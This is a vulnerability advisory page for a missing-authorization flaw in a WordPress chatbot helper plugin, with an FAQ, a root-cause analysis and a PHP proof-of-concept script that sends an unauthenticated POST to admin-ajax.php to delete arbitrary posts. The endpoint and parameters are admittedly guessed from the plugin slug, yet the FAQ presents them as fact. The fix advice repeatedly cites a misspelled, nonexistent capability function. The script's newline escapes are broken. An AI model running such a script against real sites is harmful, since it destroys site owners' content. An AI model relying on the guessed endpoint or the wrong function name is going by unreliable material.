What is CVE-2025-69134?

CVE-2025-69134 is a missing authorization vulnerability in the OpenAI Chatbot for WordPress Helper plugin versions up to and including 1.1.4. It allows unauthenticated attackers to delete arbitrary content on a WordPress site due to a missing capability check on a function.

How does the vulnerability work?

The plugin registers an AJAX action or REST route that performs content deletion without verifying user permissions. An attacker can send a crafted HTTP request to admin-ajax.php with parameters like action=helper_delete_content and post_id=123 to delete any post, page, or media attachment without authentication.

Who is affected by this vulnerability?

Any WordPress site running the OpenAI Chatbot Helper plugin version 1.1.4 or earlier is affected. Sites with the plugin installed and active are vulnerable regardless of whether the chatbot feature is in use.

How can I check if my site is vulnerable?

Check the installed version of the Helper plugin in the WordPress admin under Plugins. If the version is 1.1.4 or lower, your site is vulnerable. You can also use a security scanner to test for missing authorization on AJAX actions.

What is the CVSS score and what does it mean?

The CVSS score is 5.3 (Medium) with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N. This indicates the attack is network-based, requires low complexity, no privileges, and no user interaction. The impact is limited to low integrity (content deletion) with no confidentiality or availability impact.

What content can an attacker delete?

An attacker can delete any WordPress content including posts, pages, media attachments, and custom post types. This can lead to defacement, loss of important data, or disruption of site functionality.

Is there a patched version available?

As of the disclosure date, no patched version has been released. Site administrators should consider disabling or removing the plugin until a fix is available, or apply virtual patching through a web application firewall.

How can I mitigate this vulnerability?

Immediately disable or uninstall the Helper plugin if not essential. Alternatively, use a web application firewall (WAF) to block requests to admin-ajax.php with the action parameter helper_delete_content. Monitor for unauthorized deletion attempts in server logs.

How does the proof of concept work?

The PoC sends a POST request to /wp-admin/admin-ajax.php with action=helper_delete_content and a target post_id. Since no authentication or nonce is required, the request triggers the vulnerable function and deletes the specified content. The PoC assumes the AJAX action name based on the plugin slug.

What is the root cause of the vulnerability?

The root cause is a missing capability check (CWE-862) on a function that handles content deletion. The developer likely registered an AJAX handler without calling current_user_cans() or wp_verify_nonce(), allowing unauthenticated access to a destructive operation.

Where can I find more information about this CVE?

Refer to the official CVE entry at cve.mitre.org or the WordPress plugin repository. Security advisories from Atomic Edge and other researchers may provide further analysis. Always verify information from trusted sources.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : July 26, 2026

CVE-2025-69134: OpenAI Chatbot for WordPress – Helper <= 1.1.4 Missing Authorization to Unauthenticated Arbitrary Content Deletion PoC, Patch Analysis & Rule

CVE ID CVE-2025-69134

Plugin helper

Severity Medium (CVSS 5.3)

CWE 862

Vulnerable Version 1.1.4

Patched Version —

Disclosed June 28, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-69134 (metadata-based): This vulnerability in the OpenAI Chatbot for WordPress – Helper plugin (slug: helper) versions up to and including 1.1.4 allows unauthenticated attackers to delete arbitrary content due to a missing capability check on a function. The CVSS score is 5.3 with a vector (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) indicating low integrity impact but no confidentiality or availability impact. No patched version exists.

The root cause is a missing capability check (CWE-862) on a function that performs content deletion. In WordPress plugins, this typically occurs when an AJAX handler or WordPress action hook is registered with `wp_ajax_nopriv_` (allowing unauthenticated access) or when the developer forgets to call `current_user_cans()` or `wp_verify_nonce()` before executing a destructive operation like `wp_delete_post()`, `wp_delete_attachment()`, or direct `$wpdb->delete()` queries. Since no code is available, this analysis infers the vulnerable endpoint and parameters from common patterns in similar plugins. The plugin slug ‘helper’ likely registers an AJAX action such as `helper_delete_content` or a REST API route.

An attacker exploits this by sending a crafted HTTP request to the WordPress admin-ajax.php endpoint with an action parameter that triggers the vulnerable function. The request does not require authentication. For example, an attacker could POST to `/wp-admin/admin-ajax.php` with `action=helper_delete_content&post_id=123` to delete a WordPress post, page, or custom post type. The missing capability check allows any unauthenticated user to invoke this function, bypassing the intended authorization.

To remediate, the plugin developer should add a capability check using `current_user_cans()` (e.g., `delete_posts` or `delete_others_posts`) and verify a nonce with `wp_verify_nonce()` before performing any deletion operation. The fix should ensure that only authenticated users with the appropriate permissions can trigger the content deletion function.

If exploited, an attacker can delete arbitrary content from the WordPress site, including posts, pages, media attachments, or any custom post type. This can lead to defacement, loss of critical data, or disruption of the site’s functionality. The impact is limited to integrity (content deletion) with no direct data theft or privilege escalation.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69134 - OpenAI Chatbot for WordPress – Helper <= 1.1.4 - Missing Authorization to Unauthenticated Arbitrary Content Deletion

/*
 * Assumptions:
 * - The vulnerable AJAX action is 'helper_delete_content' (inferred from plugin slug 'helper').
 * - The function accepts a 'post_id' parameter to identify the content to delete.
 * - No nonce or capability check is performed.
 */

$target_url = 'http://example.com'; // Change this to the target WordPress site URL
$post_id_to_delete = 1; // Change this to the target post ID

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'helper_delete_content',
    'post_id' => $post_id_to_delete
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code === 200) {
    echo "[+] Deletion request sent successfully. Response: " . $response . "n";
    echo "[+] Check if the target post (ID: $post_id_to_delete) has been removed.n";
} else {
    echo "[-] Request failed with HTTP code " . $http_code . ". Response: " . $response . "n";
}
?>

Frequently Asked Questions

What is CVE-2025-69134?
Vulnerability Overview
CVE-2025-69134 is a missing authorization vulnerability in the OpenAI Chatbot for WordPress Helper plugin versions up to and including 1.1.4. It allows unauthenticated attackers to delete arbitrary content on a WordPress site due to a missing capability check on a function.
How does the vulnerability work?
Technical Explanation
The plugin registers an AJAX action or REST route that performs content deletion without verifying user permissions. An attacker can send a crafted HTTP request to admin-ajax.php with parameters like action=helper_delete_content and post_id=123 to delete any post, page, or media attachment without authentication.
Who is affected by this vulnerability?
Affected Users
Any WordPress site running the OpenAI Chatbot Helper plugin version 1.1.4 or earlier is affected. Sites with the plugin installed and active are vulnerable regardless of whether the chatbot feature is in use.
How can I check if my site is vulnerable?
Detection Steps
Check the installed version of the Helper plugin in the WordPress admin under Plugins. If the version is 1.1.4 or lower, your site is vulnerable. You can also use a security scanner to test for missing authorization on AJAX actions.
What is the CVSS score and what does it mean?
Risk Assessment
The CVSS score is 5.3 (Medium) with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N. This indicates the attack is network-based, requires low complexity, no privileges, and no user interaction. The impact is limited to low integrity (content deletion) with no confidentiality or availability impact.
What content can an attacker delete?
Impact Scope
An attacker can delete any WordPress content including posts, pages, media attachments, and custom post types. This can lead to defacement, loss of important data, or disruption of site functionality.
Is there a patched version available?
Patch Status
As of the disclosure date, no patched version has been released. Site administrators should consider disabling or removing the plugin until a fix is available, or apply virtual patching through a web application firewall.
How can I mitigate this vulnerability?
Mitigation Steps
Immediately disable or uninstall the Helper plugin if not essential. Alternatively, use a web application firewall (WAF) to block requests to admin-ajax.php with the action parameter helper_delete_content. Monitor for unauthorized deletion attempts in server logs.
How does the proof of concept work?
PoC Explanation
The PoC sends a POST request to /wp-admin/admin-ajax.php with action=helper_delete_content and a target post_id. Since no authentication or nonce is required, the request triggers the vulnerable function and deletes the specified content. The PoC assumes the AJAX action name based on the plugin slug.
What is the root cause of the vulnerability?
Root Cause Analysis
The root cause is a missing capability check (CWE-862) on a function that handles content deletion. The developer likely registered an AJAX handler without calling current_user_cans() or wp_verify_nonce(), allowing unauthenticated access to a destructive operation.
How should the plugin developer fix this?
Recommended Fix
The developer should add a capability check using current_user_cans() (e.g., delete_posts) and verify a nonce with wp_verify_nonce() before performing any deletion. The fix should ensure only authenticated users with proper permissions can invoke the deletion function.
Where can I find more information about this CVE?
Additional Resources
Refer to the official CVE entry at cve.mitre.org or the WordPress plugin repository. Security advisories from Atomic Edge and other researchers may provide further analysis. Always verify information from trusted sources.

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